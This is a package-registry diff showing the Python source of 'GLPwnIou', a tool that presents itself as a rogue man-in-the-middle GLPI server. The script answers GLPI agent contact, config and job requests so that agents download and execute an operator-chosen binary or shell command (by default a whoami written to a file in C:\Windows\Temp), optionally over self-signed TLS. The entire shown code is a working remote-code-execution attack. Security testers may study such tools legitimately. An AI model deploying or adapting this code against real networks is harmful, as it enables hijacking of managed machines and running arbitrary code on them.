GLPwnIou 1.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- glpwniou-1.0.0/.gitignore +12 -0
- glpwniou-1.0.0/GLPwnIou.py +359 -0
- glpwniou-1.0.0/LICENSE +674 -0
- glpwniou-1.0.0/PKG-INFO +830 -0
- glpwniou-1.0.0/README.md +137 -0
- glpwniou-1.0.0/pyproject.toml +38 -0
|
@@ -0,0 +1,359 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
|
|
3
|
+
import argparse
|
|
4
|
+
import gzip
|
|
5
|
+
import hashlib
|
|
6
|
+
import json
|
|
7
|
+
import os
|
|
8
|
+
import re
|
|
9
|
+
import ssl
|
|
10
|
+
import subprocess
|
|
11
|
+
import tempfile
|
|
12
|
+
import zlib
|
|
13
|
+
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
|
|
14
|
+
from urllib.parse import urlparse, parse_qs
|
|
15
|
+
|
|
16
|
+
# base URL forthe agent, e.g. http://ip/deploy
|
|
17
|
+
SELF_URL = None
|
|
18
|
+
PAYLOAD_CMD = 'cmd.exe /c whoami > C:\\Windows\\Temp\\pwned.fenrisk'
|
|
19
|
+
RUN_COMMAND = None # override execution when staging a binary
|
|
20
|
+
JOB_UUID = "0fae2958-24d5-0651-c49c-d1fec1766af6"
|
|
21
|
+
DEBUG = False
|
|
22
|
+
|
|
23
|
+
# dict: {sha512, name, bytes} or None for command-only mode
|
|
24
|
+
STAGE = None
|
|
25
|
+
|
|
26
|
+
|
|
27
|
+
# ---------------------------------------------------------------------------
|
|
28
|
+
# response builders
|
|
29
|
+
# ---------------------------------------------------------------------------
|
|
30
|
+
def contact_answer():
|
|
31
|
+
# Native GLPI >=10 CONTACT answer. status + expiration>0 are mandatory.
|
|
32
|
+
# 'tasks' hints the agent to run Deploy against us. Some builds also drive
|
|
33
|
+
# Deploy purely from its own getConfig, so this is belt-and-suspenders.
|
|
34
|
+
return {
|
|
35
|
+
"status": "ok",
|
|
36
|
+
"expiration": 1, # hours; must be > 0
|
|
37
|
+
"tasks": {
|
|
38
|
+
"deploy": {"server": SELF_URL},
|
|
39
|
+
"inventory": {"server": SELF_URL},
|
|
40
|
+
},
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
|
|
44
|
+
def getconfig_response():
|
|
45
|
+
# Tells the Deploy task: a job is due; poll `remote` (us) for it.
|
|
46
|
+
return {
|
|
47
|
+
"configValidityPeriod": 600,
|
|
48
|
+
"schedule": [
|
|
49
|
+
{"task": "Deploy", "remote": SELF_URL, "periodicity": 60},
|
|
50
|
+
],
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
|
|
54
|
+
def _cmd_action(exec_str):
|
|
55
|
+
# Each action is a SINGLE-KEY hash keyed by action name; ActionProcessor
|
|
56
|
+
# splits it into ($actionName, $params). Cmd reads: exec (required),
|
|
57
|
+
# logLineLimit (default 10), retChecks (optional), envs (optional).
|
|
58
|
+
return {"cmd": {"exec": exec_str, "logLineLimit": 10}}
|
|
59
|
+
|
|
60
|
+
|
|
61
|
+
def getjobs_response():
|
|
62
|
+
if STAGE is None:
|
|
63
|
+
# command-only: no files, single cmd action
|
|
64
|
+
return {
|
|
65
|
+
"associatedFiles": {},
|
|
66
|
+
"jobs": [{
|
|
67
|
+
"uuid": JOB_UUID,
|
|
68
|
+
"associatedFiles": [],
|
|
69
|
+
"actions": [_cmd_action(PAYLOAD_CMD)],
|
|
70
|
+
"checks": [],
|
|
71
|
+
}],
|
|
72
|
+
}
|
|
73
|
+
|
|
74
|
+
# staging mode: ship a real file, then execute it.
|
|
75
|
+
sha = STAGE["sha512"]
|
|
76
|
+
name = STAGE["name"]
|
|
77
|
+
# agent appends <c1>/<c1c2>/<sha>
|
|
78
|
+
mirror = SELF_URL.rstrip("/") + "/getFile/"
|
|
79
|
+
# if --run-command was provided, use it; otherwise execute the binary by name
|
|
80
|
+
exec_cmd = RUN_COMMAND if RUN_COMMAND else name
|
|
81
|
+
return {
|
|
82
|
+
"associatedFiles": {
|
|
83
|
+
sha: {
|
|
84
|
+
"name": name,
|
|
85
|
+
"mirrors": [mirror],
|
|
86
|
+
"multiparts": [sha], # single part; part sha == file sha
|
|
87
|
+
"p2p": 0,
|
|
88
|
+
"p2p-retention-duration": 0,
|
|
89
|
+
"uncompress": 0, # deliver raw, not zipped
|
|
90
|
+
}
|
|
91
|
+
},
|
|
92
|
+
"jobs": [{
|
|
93
|
+
"uuid": JOB_UUID,
|
|
94
|
+
"associatedFiles": [sha], # pull this file before actions run
|
|
95
|
+
"actions": [
|
|
96
|
+
# file lands in the job working dir; exec it by command/name.
|
|
97
|
+
_cmd_action(exec_cmd),
|
|
98
|
+
],
|
|
99
|
+
"checks": [],
|
|
100
|
+
}],
|
|
101
|
+
}
|
|
102
|
+
|
|
103
|
+
|
|
104
|
+
# ---------------------------------------------------------------------------
|
|
105
|
+
# HTTP handler
|
|
106
|
+
# ---------------------------------------------------------------------------
|
|
107
|
+
def _clip(data, limit=2048):
|
|
108
|
+
# Return a printable, length-bounded view of a bytes/str blob.
|
|
109
|
+
if isinstance(data, bytes):
|
|
110
|
+
try:
|
|
111
|
+
text = data.decode("utf-8", "replace")
|
|
112
|
+
except Exception:
|
|
113
|
+
text = repr(data)
|
|
114
|
+
else:
|
|
115
|
+
text = data
|
|
116
|
+
if len(text) > limit:
|
|
117
|
+
return text[:limit] + f"... [+{len(text) - limit} bytes truncated]"
|
|
118
|
+
return text
|
|
119
|
+
|
|
120
|
+
|
|
121
|
+
class Handler(BaseHTTPRequestHandler):
|
|
122
|
+
server_version = "Apache"
|
|
123
|
+
|
|
124
|
+
def _decompress(self, data):
|
|
125
|
+
# GLPI-Agent compresses request bodies and flags the codec via
|
|
126
|
+
# Content-Type: application/x-compress-zlib (RFC1950) or
|
|
127
|
+
# application/x-compress-gzip. Older/plain agents send raw XML. We
|
|
128
|
+
# decode by header, then fall back to magic-byte sniffing.
|
|
129
|
+
if not data:
|
|
130
|
+
return data
|
|
131
|
+
ctype = self.headers.get("Content-Type", "")
|
|
132
|
+
try:
|
|
133
|
+
if "x-compress-zlib" in ctype:
|
|
134
|
+
return zlib.decompress(data)
|
|
135
|
+
if "x-compress-gzip" in ctype:
|
|
136
|
+
return gzip.decompress(data)
|
|
137
|
+
except Exception as e:
|
|
138
|
+
print(f"[!] decompress failed for Content-Type {ctype!r}: {e}")
|
|
139
|
+
return data
|
|
140
|
+
# No/unknown codec header: sniff. zlib streams start 0x78, gzip 0x1f8b.
|
|
141
|
+
try:
|
|
142
|
+
if data[:2] == b"\x1f\x8b":
|
|
143
|
+
return gzip.decompress(data)
|
|
144
|
+
if data[:1] == b"\x78":
|
|
145
|
+
return zlib.decompress(data)
|
|
146
|
+
except Exception:
|
|
147
|
+
pass
|
|
148
|
+
return data
|
|
149
|
+
|
|
150
|
+
def _dbg_request(self, body=b""):
|
|
151
|
+
if not DEBUG:
|
|
152
|
+
return
|
|
153
|
+
print("\n" + "=" * 72)
|
|
154
|
+
print(
|
|
155
|
+
f">>> REQUEST {self.command} {self.path} from {self.client_address[0]}")
|
|
156
|
+
for k, v in self.headers.items():
|
|
157
|
+
print(f" {k}: {v}")
|
|
158
|
+
if body:
|
|
159
|
+
print(" ---- body ----")
|
|
160
|
+
print(" " + _clip(body).replace("\n", "\n "))
|
|
161
|
+
|
|
162
|
+
def _dbg_response(self, status, ctype, body):
|
|
163
|
+
if not DEBUG:
|
|
164
|
+
return
|
|
165
|
+
print(
|
|
166
|
+
f"<<< RESPONSE {status} Content-Type: {ctype} ({len(body)} bytes)")
|
|
167
|
+
print(" " + _clip(body).replace("\n", "\n "))
|
|
168
|
+
print("=" * 72)
|
|
169
|
+
|
|
170
|
+
def _json(self, obj):
|
|
171
|
+
body = json.dumps(obj).encode()
|
|
172
|
+
self.send_response(200)
|
|
173
|
+
self.send_header("Content-Type", "application/json")
|
|
174
|
+
self.send_header("Content-Length", str(len(body)))
|
|
175
|
+
self.end_headers()
|
|
176
|
+
self.wfile.write(body)
|
|
177
|
+
self._dbg_response(200, "application/json", body)
|
|
178
|
+
|
|
179
|
+
def _raw(self, data, ctype="application/octet-stream"):
|
|
180
|
+
self.send_response(200)
|
|
181
|
+
self.send_header("Content-Type", ctype)
|
|
182
|
+
self.send_header("Content-Length", str(len(data)))
|
|
183
|
+
self.end_headers()
|
|
184
|
+
self.wfile.write(data)
|
|
185
|
+
self._dbg_response(200, ctype, data)
|
|
186
|
+
|
|
187
|
+
def _xml(self, text):
|
|
188
|
+
data = text.encode()
|
|
189
|
+
self.send_response(200)
|
|
190
|
+
self.send_header("Content-Type", "application/xml")
|
|
191
|
+
self.send_header("Content-Length", str(len(data)))
|
|
192
|
+
self.end_headers()
|
|
193
|
+
self.wfile.write(data)
|
|
194
|
+
self._dbg_response(200, "application/xml", data)
|
|
195
|
+
|
|
196
|
+
def _serve_file_if_match(self, path):
|
|
197
|
+
# Deploy File.pm requests <mirror><c1>/<c1c2>/<full_sha512>. Match on
|
|
198
|
+
# the trailing sha512 so we don't depend on the exact dir scheme.
|
|
199
|
+
if STAGE is None:
|
|
200
|
+
return False
|
|
201
|
+
m = re.search(r"([0-9a-fA-F]{128})\b", path)
|
|
202
|
+
if m and m.group(1).lower() == STAGE["sha512"].lower():
|
|
203
|
+
print(f"[!] serving staged payload part sha512={STAGE['sha512'][:16]}... "
|
|
204
|
+
f"({len(STAGE['bytes'])} bytes)")
|
|
205
|
+
self._raw(STAGE["bytes"])
|
|
206
|
+
return True
|
|
207
|
+
return False
|
|
208
|
+
|
|
209
|
+
def _dispatch(self, action, qs, body=b""):
|
|
210
|
+
if action == "contact":
|
|
211
|
+
print(f"[+] CONTACT from {self.client_address[0]}")
|
|
212
|
+
self._json(contact_answer())
|
|
213
|
+
elif action == "getConfig":
|
|
214
|
+
print(f"[+] getConfig machineid={qs.get('machineid', ['?'])[0]}")
|
|
215
|
+
self._json(getconfig_response())
|
|
216
|
+
elif action == "getJobs":
|
|
217
|
+
mode = "staged-file" if STAGE else "command"
|
|
218
|
+
print(f"[!] getJobs -> serving payload ({mode})")
|
|
219
|
+
self._json(getjobs_response())
|
|
220
|
+
elif action == "setStatus":
|
|
221
|
+
status = qs.get('status', ['?'])[0]
|
|
222
|
+
step = qs.get('currentStep', ['?'])[0]
|
|
223
|
+
msg = qs.get('msg', [''])[0]
|
|
224
|
+
|
|
225
|
+
if status == '?':
|
|
226
|
+
color = '\033[93m'
|
|
227
|
+
elif status == 'ok':
|
|
228
|
+
color = '\033[92m'
|
|
229
|
+
else:
|
|
230
|
+
color = '\033[91m'
|
|
231
|
+
reset = '\033[0m'
|
|
232
|
+
|
|
233
|
+
print(f"\t{color}{step} - {msg}{reset}")
|
|
234
|
+
self._json({})
|
|
235
|
+
elif body[:1] == b"<" or b"PROLOG" in body:
|
|
236
|
+
# legacy glpi-inventory plugin: XML PROLOG. Permissive reply so the
|
|
237
|
+
# agent proceeds to run its Deploy task against us.
|
|
238
|
+
print("[+] legacy PROLOG -> permissive reply")
|
|
239
|
+
self._xml("<?xml version='1.0' encoding='UTF-8'?>"
|
|
240
|
+
"<REPLY><RESPONSE>SEND</RESPONSE>"
|
|
241
|
+
"<PROLOG_FREQ>1</PROLOG_FREQ></REPLY>")
|
|
242
|
+
else:
|
|
243
|
+
print(f"[?] unhandled action={action!r} path={self.path}")
|
|
244
|
+
self._json({})
|
|
245
|
+
|
|
246
|
+
def do_GET(self):
|
|
247
|
+
self._dbg_request()
|
|
248
|
+
if self._serve_file_if_match(self.path):
|
|
249
|
+
return
|
|
250
|
+
q = parse_qs(urlparse(self.path).query)
|
|
251
|
+
self._dispatch(q.get("action", [""])[0], q)
|
|
252
|
+
|
|
253
|
+
def do_POST(self):
|
|
254
|
+
length = int(self.headers.get("Content-Length", 0) or 0)
|
|
255
|
+
raw = self.rfile.read(length) if length else b""
|
|
256
|
+
# XML PROLOG arrives zlib/gzip-compressed
|
|
257
|
+
body = self._decompress(raw)
|
|
258
|
+
self._dbg_request(body)
|
|
259
|
+
if self._serve_file_if_match(self.path):
|
|
260
|
+
return
|
|
261
|
+
q = parse_qs(urlparse(self.path).query)
|
|
262
|
+
self._dispatch(q.get("action", [""])[0], q, body)
|
|
263
|
+
|
|
264
|
+
def log_message(self, *a):
|
|
265
|
+
pass
|
|
266
|
+
|
|
267
|
+
|
|
268
|
+
def _autocert():
|
|
269
|
+
# Generate a throwaway self-signed cert+key with openssl for --tls when the
|
|
270
|
+
# operator didn't supply one. useful for --no-ssl-chec
|
|
271
|
+
d = tempfile.mkdtemp(prefix="glpwniou_")
|
|
272
|
+
pem = os.path.join(d, "cert.pem")
|
|
273
|
+
cn = urlparse(SELF_URL).hostname or "glpi"
|
|
274
|
+
subprocess.run(
|
|
275
|
+
["openssl", "req", "-x509", "-newkey", "rsa:2048", "-nodes",
|
|
276
|
+
"-keyout", pem, "-out", pem, "-days", "30",
|
|
277
|
+
"-subj", f"/CN={cn}", "-addext", f"subjectAltName=DNS:{cn}"],
|
|
278
|
+
check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
|
|
279
|
+
)
|
|
280
|
+
print(f"[*] generated self-signed cert for CN={cn}: {pem}")
|
|
281
|
+
return pem
|
|
282
|
+
|
|
283
|
+
|
|
284
|
+
# ---------------------------------------------------------------------------
|
|
285
|
+
def main():
|
|
286
|
+
global SELF_URL, PAYLOAD_CMD, STAGE, DEBUG, RUN_COMMAND
|
|
287
|
+
ap = argparse.ArgumentParser(
|
|
288
|
+
description="GLPwnIou - Rogue Man-in-The-Middle GLPI server")
|
|
289
|
+
ap.add_argument("--host", default="0.0.0.0")
|
|
290
|
+
ap.add_argument("--port", type=int, default=80)
|
|
291
|
+
ap.add_argument("--advertise", required=True,
|
|
292
|
+
help="Base URL the agent reaches us on, e.g. http://10.0.0.5/deploy (use https://... with --tls)")
|
|
293
|
+
ap.add_argument(
|
|
294
|
+
"--cmd", help="command-only payload (default: benign whoami)")
|
|
295
|
+
ap.add_argument("--payload-file",
|
|
296
|
+
help="stage this real file via associatedFiles/SHA512 and run it")
|
|
297
|
+
ap.add_argument("--run-name",
|
|
298
|
+
help="filename the staged payload is written as / executed by "
|
|
299
|
+
"(default: basename of --payload-file)")
|
|
300
|
+
ap.add_argument("--run-command",
|
|
301
|
+
help="when staging a binary, execute this command instead of running the binary directly "
|
|
302
|
+
"(e.g., 'powershell -File updater.exe -Silent')")
|
|
303
|
+
ap.add_argument("--tls", action="store_true",
|
|
304
|
+
help="serve HTTPS (for agents on TLS; effective vs "
|
|
305
|
+
"--no-ssl-check agents or a CA you control)")
|
|
306
|
+
ap.add_argument("--cert",
|
|
307
|
+
help="combined TLS PEM holding BOTH cert and key, e.g. from "
|
|
308
|
+
"`openssl pkcs12 -in glpi.pfx -nodes -out glpi.pem` "
|
|
309
|
+
"(with --tls; auto-generated if omitted)")
|
|
310
|
+
ap.add_argument("-d", "--debug", action="store_true",
|
|
311
|
+
help="dump every request (method, path, headers, body) and the "
|
|
312
|
+
"full response sent back")
|
|
313
|
+
args = ap.parse_args()
|
|
314
|
+
|
|
315
|
+
DEBUG = args.debug
|
|
316
|
+
SELF_URL = args.advertise
|
|
317
|
+
|
|
318
|
+
if args.cmd and args.payload_file:
|
|
319
|
+
ap.error("--cmd and --payload-file are mutually exclusive")
|
|
320
|
+
|
|
321
|
+
if args.payload_file and args.run_command:
|
|
322
|
+
RUN_COMMAND = args.run_command
|
|
323
|
+
|
|
324
|
+
if args.cmd:
|
|
325
|
+
PAYLOAD_CMD = args.cmd
|
|
326
|
+
|
|
327
|
+
if args.payload_file:
|
|
328
|
+
with open(args.payload_file, "rb") as f:
|
|
329
|
+
data = f.read()
|
|
330
|
+
STAGE = {
|
|
331
|
+
"bytes": data,
|
|
332
|
+
"sha512": hashlib.sha512(data).hexdigest(),
|
|
333
|
+
"name": args.run_name or os.path.basename(args.payload_file),
|
|
334
|
+
}
|
|
335
|
+
print(f"[*] Staging {args.payload_file} as '{STAGE['name']}' "
|
|
336
|
+
f"({len(data)} bytes) sha512={STAGE['sha512'][:16]}...")
|
|
337
|
+
|
|
338
|
+
print(f"[*] Rogue GLPI Deploy server on {args.host}:{args.port}")
|
|
339
|
+
print(f"[*] Advertising base URL: {SELF_URL}")
|
|
340
|
+
print(f"[*] Mode: {'staged-file exec' if STAGE else 'command-only'}")
|
|
341
|
+
if STAGE is None:
|
|
342
|
+
print(f"[*] Payload cmd: {PAYLOAD_CMD}")
|
|
343
|
+
httpd = ThreadingHTTPServer((args.host, args.port), Handler)
|
|
344
|
+
|
|
345
|
+
if args.tls:
|
|
346
|
+
cert = args.cert if args.cert else _autocert()
|
|
347
|
+
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
|
348
|
+
ctx.load_cert_chain(certfile=cert)
|
|
349
|
+
httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
|
|
350
|
+
print(f"[*] TLS enabled (cert={cert})")
|
|
351
|
+
|
|
352
|
+
try:
|
|
353
|
+
httpd.serve_forever()
|
|
354
|
+
except KeyboardInterrupt:
|
|
355
|
+
print("\n[*] shutting down")
|
|
356
|
+
|
|
357
|
+
|
|
358
|
+
if __name__ == "__main__":
|
|
359
|
+
main()
|